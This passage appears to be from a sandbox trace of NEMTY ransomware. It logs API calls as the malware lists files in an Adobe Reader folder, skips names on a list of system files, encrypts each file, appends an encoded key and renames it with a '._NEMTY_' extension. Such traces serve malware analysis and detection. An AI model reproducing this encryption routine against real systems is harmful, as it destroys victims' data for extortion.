lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27263cf0, dwHighDateTime=0x1d561e8)) [0193.781] GetLastError () returned 0x0 [0193.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.781] GetLastError () returned 0x0 [0193.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.781] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.781] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.782] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.782] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="XE53LlqRq+LsIHpczDgj4CP3PgSdDmmPqAySV+TyenLgNzchvFqdxBnX18SuTbqb\r\n0skoCIoEfyCprFQc448KmTG1ZBnrYC8OiAzErHiaZ9/oetxPTga9bt+wrtAjpWsi\r\nZydJqorc1AcwQxgw9d3h5M18V+MSRnCNWYtbMX2rmjH7qkNBVH8OR+K/Wxssa5Ut\r\nZcmMOrLavC62qlgWWuRntycUojkXljsfXBHT24axuNgdqq15cUtk1VXZQue/AANN\r\nHYWckY5ZL6btwbZsu+ghRkf1sOuaZmUAmVeA20OVCaFfHQn/QRp1I98JGZBPMeih\r\nD2H1vrHetguQprMpDTOHUw==\r\n", pcchString=0x653e91c) returned 1 [0193.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.782] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_lg.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_lg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.782] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1255) returned 1 [0193.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4e0) returned 0x6340048 [0193.782] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.782] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x4e0, lpOverlapped=0x0) returned 1 [0193.784] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.784] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x4e0, lpOverlapped=0x0) returned 1 [0193.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.784] SetFilePointer (in: hFile=0x254, lDistanceToMove=1255, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e7 [0193.784] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.784] CloseHandle (hObject=0x254) returned 1 [0193.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.785] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_lg.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_lg.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_lg.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_lg.gif._nemty_kgobjgd_")) returned 1 [0193.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.786] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="server_ok.gif", cAlternateFileName="SERVER~2.GIF")) returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2=".") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="..") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="...") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="windows") returned -1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="rsa") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="NTDETECT.COM") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="ntldr") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="MSDOS.SYS") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="IO.SYS") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="boot.ini") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="boot.ini") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="ntuser.dat") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="desktop.ini") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="CONFIG.SYS") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="RECYCLER") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="bootmgr") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="programdata") returned 1 [0193.786] lstrcmpiW (lpString1="server_ok.gif", lpString2="appdata") returned 1 [0193.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_ok.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_ok.gif", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_ok.gif", lpUsedDefaultChar=0x0) returned 13 [0193.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_ok.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_ok.gif", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_ok.gif", lpUsedDefaultChar=0x0) returned 13 [0193.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_ok.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_ok.gif", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_ok.gif", lpUsedDefaultChar=0x0) returned 13 [0193.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_ok.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_ok.gif", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_ok.gif", lpUsedDefaultChar=0x0) returned 13 [0193.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.787] Sleep (dwMilliseconds=0x5) [0193.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27289e50, dwHighDateTime=0x1d561e8)) [0193.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27289e50, dwHighDateTime=0x1d561e8)) [0193.800] GetLastError () returned 0x0 [0193.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.800] GetLastError () returned 0x0 [0193.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.803] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.805] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.816] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.816] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="MQV5COB7Cla6M47YFy4JtF5KhmdkIzFrkieSYz0T4RQz+0qf7yi8Us3PHoJTLUAi\r\n682/Y+2QGqtr1pb7PUkyNA3V6/KPhYt9rRQAvn/O07FwaEYofNtBzTZKsqHqeq9r\r\n26yMbSNjZgppCb3yp9zV/aWd+AD1giPNaIFS2C8VR2RLL6nfhPsGC5i31ZhWMn1+\r\nMMFIFT3o291tChcc0l3naWEFgjr72OlbeCMgZxBR+DRWPmgCAq+LpLJXdVfu1hxl\r\ndMoS8j2bplSVDPwiPzBqaD+aeRlM/ZZ9xHSlC/BicTkfIWp+kFwR//HLHuY058g4\r\nYFhrOpxFalEwWXNpiDxabw==\r\n", pcchString=0x653e91c) returned 1 [0193.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.817] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_ok.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_ok.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.821] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=225) returned 1 [0193.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x4f94288 [0193.821] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.821] ReadFile (in: hFile=0x254, lpBuffer=0x4f94288, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesRead=0x653eb64*=0xe0, lpOverlapped=0x0) returned 1 [0193.822] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.823] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0xe0, lpOverlapped=0x0) returned 1 [0193.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.823] SetFilePointer (in: hFile=0x254, lDistanceToMove=225, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1 [0193.823] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.823] CloseHandle (hObject=0x254) returned 1 [0193.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.823] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_ok.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_ok.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_ok.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_ok.gif._nemty_kgobjgd_")) returned 1 [0193.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.825] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x393, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="stop_collection_data.gif", cAlternateFileName="STOP_C~1.GIF")) returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2=".") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="..") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="...") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="windows") returned -1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="rsa") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="NTDETECT.COM") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="ntldr") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="MSDOS.SYS") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="IO.SYS") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="boot.ini") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="boot.ini") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="ntuser.dat") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="desktop.ini") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="CONFIG.SYS") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="RECYCLER") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="bootmgr") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="programdata") returned 1 [0193.825] lstrcmpiW (lpString1="stop_collection_data.gif", lpString2="appdata") returned 1 [0193.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="stop_collection_data.gif", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0193.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="stop_collection_data.gif", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stop_collection_data.gif", lpUsedDefaultChar=0x0) returned 24 [0193.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0193.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="stop_collection_data.gif", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0193.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="stop_collection_data.gif", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stop_collection_data.gif", lpUsedDefaultChar=0x0) returned 24 [0193.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0193.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="stop_collection_data.gif", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0193.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="stop_collection_data.gif", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stop_collection_data.gif", lpUsedDefaultChar=0x0) returned 24 [0193.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.826] WideCharToMultiByte (in: 